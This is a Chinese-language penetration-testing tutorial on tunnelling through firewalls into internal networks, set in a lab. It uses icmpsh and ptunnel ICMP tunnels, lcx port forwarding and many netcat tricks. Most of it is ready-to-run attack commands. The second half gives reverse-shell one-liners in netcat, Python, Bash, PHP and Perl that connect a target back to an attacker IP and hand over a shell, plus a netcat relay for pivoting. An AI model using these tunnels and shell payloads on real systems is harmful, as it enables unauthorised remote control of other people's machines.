99

0x00 内网连通性判定

判断内网哪一层协议连通,使用对应隧道技术穿透。

1、网络层隧道

  • IPv6隧道
  • ICMP隧道

PS:判定连通工具,ping ip

2、传输层隧道

  • TCP
  • UDP

PS:判定连通工具,nc ip port

3、应用层隧道

  • SSH
  • HTTP

PS:判定连通工具,Curl ip:port

  • HTTPS
  • DNS

PS:判定连通工具

​ nslookup 网址 [ip]

​ dig [@ip] 网址

image-20200218201151489

0x01 网络层隧道

ICMPSH工具

安装

下载链接:
git clone https://github.com/inquisb/icmpsh.git

apt-get install python-impacket

sysctl -w net.ipv4.icmp_echo_ignore_all=1

环境

攻击机:kali	192.168.0.118
防火墙:monowall 192.168.0.116(外网) 192.168.1.1(内网)
受控机:windows7 192.168.1.4

攻击机运行命令
./icmp_m.py 192.168.0.118 192.168.0.116

受控机运行命令
./icmp_m.exe -t 192.168.0.118

反弹成功

image-20200219204419702

PingTunnel工具

安装

下载地址:
https://pkgs.org/download/ptunnel

解压
tar-zxvf pingtunnel-0.72.tar.gz

切换目录
cd pingtunnel

编译
make && make install

如出现问题1:缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

如出现问题2:yacc包错误
sudo apt-get install -y byacc
./configure
make
sudo make install


kali安装命令(PS:kali自带)
apt install ptunnel

ptunnel参数

-x	指定icmp隧道连接验证密码
-lp 指定要监听的本地tcp端口
-da 指定要转发到机器的ip地址
-dp 指定要转发到机器的tcp端口
-p 指定icmp隧道另一端的ip地址

环境

受控机:192.168.1.4(内网)
跳板机:192.168.1.7(内网),192.168.0.119(外网)
VPS: 192.168.0.118(外网)
攻击机:192.168.0.120

攻击机->VPS(安装ptunnel)->跳板机(安装ptunnel)->受控机

VPS运行命令

ptunnel -p 192.168.0.119 -lp 1080 -da 192.168.1.4 -dp 3389 -x shuteer

image-20200220001734986

跳板机运行命令

ptunnel -x shuteer

image-20200220001858218

攻击机通过远程连接访问192.168.0.118:1080

image-20200220002035036

0x02 传输层隧道

LCX端口转发

内网端口转发

目标机:将目标机的3389端口转发到公网4444端口
lcx -slave ip(公网ip) 4444 127.0.0.1 3389

公网VPS:将本机的4444端口流量转发到本机5555端口
lcx -listen 4444 5555

本地端口映射

lcx -tran 53 目标ip 3389

NetCat

安装

windows
https://joncraton.org/files/nc111nt.zip
https://joncraton.org/files/nc111nt_safe.zip

linux(kali自带)
sudo yum install nc.x86_64

参数

-d 							后台模式
-e 程序重定向
-h 在线帮助
-l 使用监听模式,管理和控制传入的数据
-n 直接使用ip地址(不通过域名服务器)
-r 随机指定本地与远程主机的通信端口
-s<源地址> 设置本地主机送出的数据包的ip地址
-u 使用udp传输协议
-v 详细输出
-z 将输入/输出功能关闭,只在扫描通信端口时使用
-g<网关> 设置路由器跃程通信网关,最多可设置8个
-G<指向器数目> 设置源路由指向器的数量,值为4的倍数
-o<输出文件> 指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中
-p<通信端口> 设置本地主机使用的通信端口
-w<超时秒数> 设置等待连线的时间
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口

Banner信息抓取

抓取3389端口信息
nc -nv 192.168.1.4 3389

image-20200221020607111

端口扫描

扫描1-65535之间开放端口
nc -v -z 192.168.1.4 1-65535

image-20200221020919445

端口监听

监听本机9999端口
nc -l -p 9999

image-20200221021139514

文件传输

本机命令:nc -lp 333 >1.txt
目标机: nc -vn 192.168.1.7 333 < 1.txt -q 1

本机

image-20200221022225517

目标机

image-20200221022259896

简易聊天

本机:nc -l -p 888
目标机:nc -vn 192.168.1.7 888

本机

image-20200221022507646

目标机

image-20200221022451853

获取shell

1、正向反弹shell

目标机:
nc -lvp 4444 -e /bin/sh (linux命令)
nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe (windows命令)
攻击机:
nc 192.168.1.4 4444

目标机

image-20200221023431527

攻击机

image-20200221023444217

2、反向反弹shell

攻击机:
nc -lvp 5555

目标机:
nc 192.168.1.7 5555 -e /bin/sh //linux
nc 192.168.1.7 5555 -e C:\WINDOWS\system32\cmd.exe //windows

目标机

image-20200221023721557

攻击机

image-20200221023735379

3、Python反向反弹shell

攻击机:
nc -lvp 2222

目标机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.239",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击机

image-20200221025240085

目标机

image-20200221025258574

3、Bash反弹shell

攻击机:
nc -lvp 6666

目标机:
bash -i >& /dev/tcp/192.168.43.239/6666 0>&1

攻击机

image-20200221025812726

目标机

image-20200221025842628

4、PHP反弹shell

攻击机:
nc -lvp 2222

目标机:
php -r '$sock=fsockopen("192.168.43.239",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

攻击机

image-20200221030241478

目标机

image-20200221030305652

5、Perl反弹shell

攻击机:
nc -lvp 5555

目标机:
perl -e 'use Socket;$i="192.168.43.239";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

攻击机

image-20200221030644058

目标机

image-20200221030655796

6、内网代理

攻击机(192.168.43.239):nc -lvp 3333
目标机(192.168.1.4):nc -lvp 3333 -e C:\WINDOWS\system32\cmd.exe
边界服务器(kali边界):nc -lvp 192.168.43.239 3333 -c "nc -v 192.168.1.4 3333"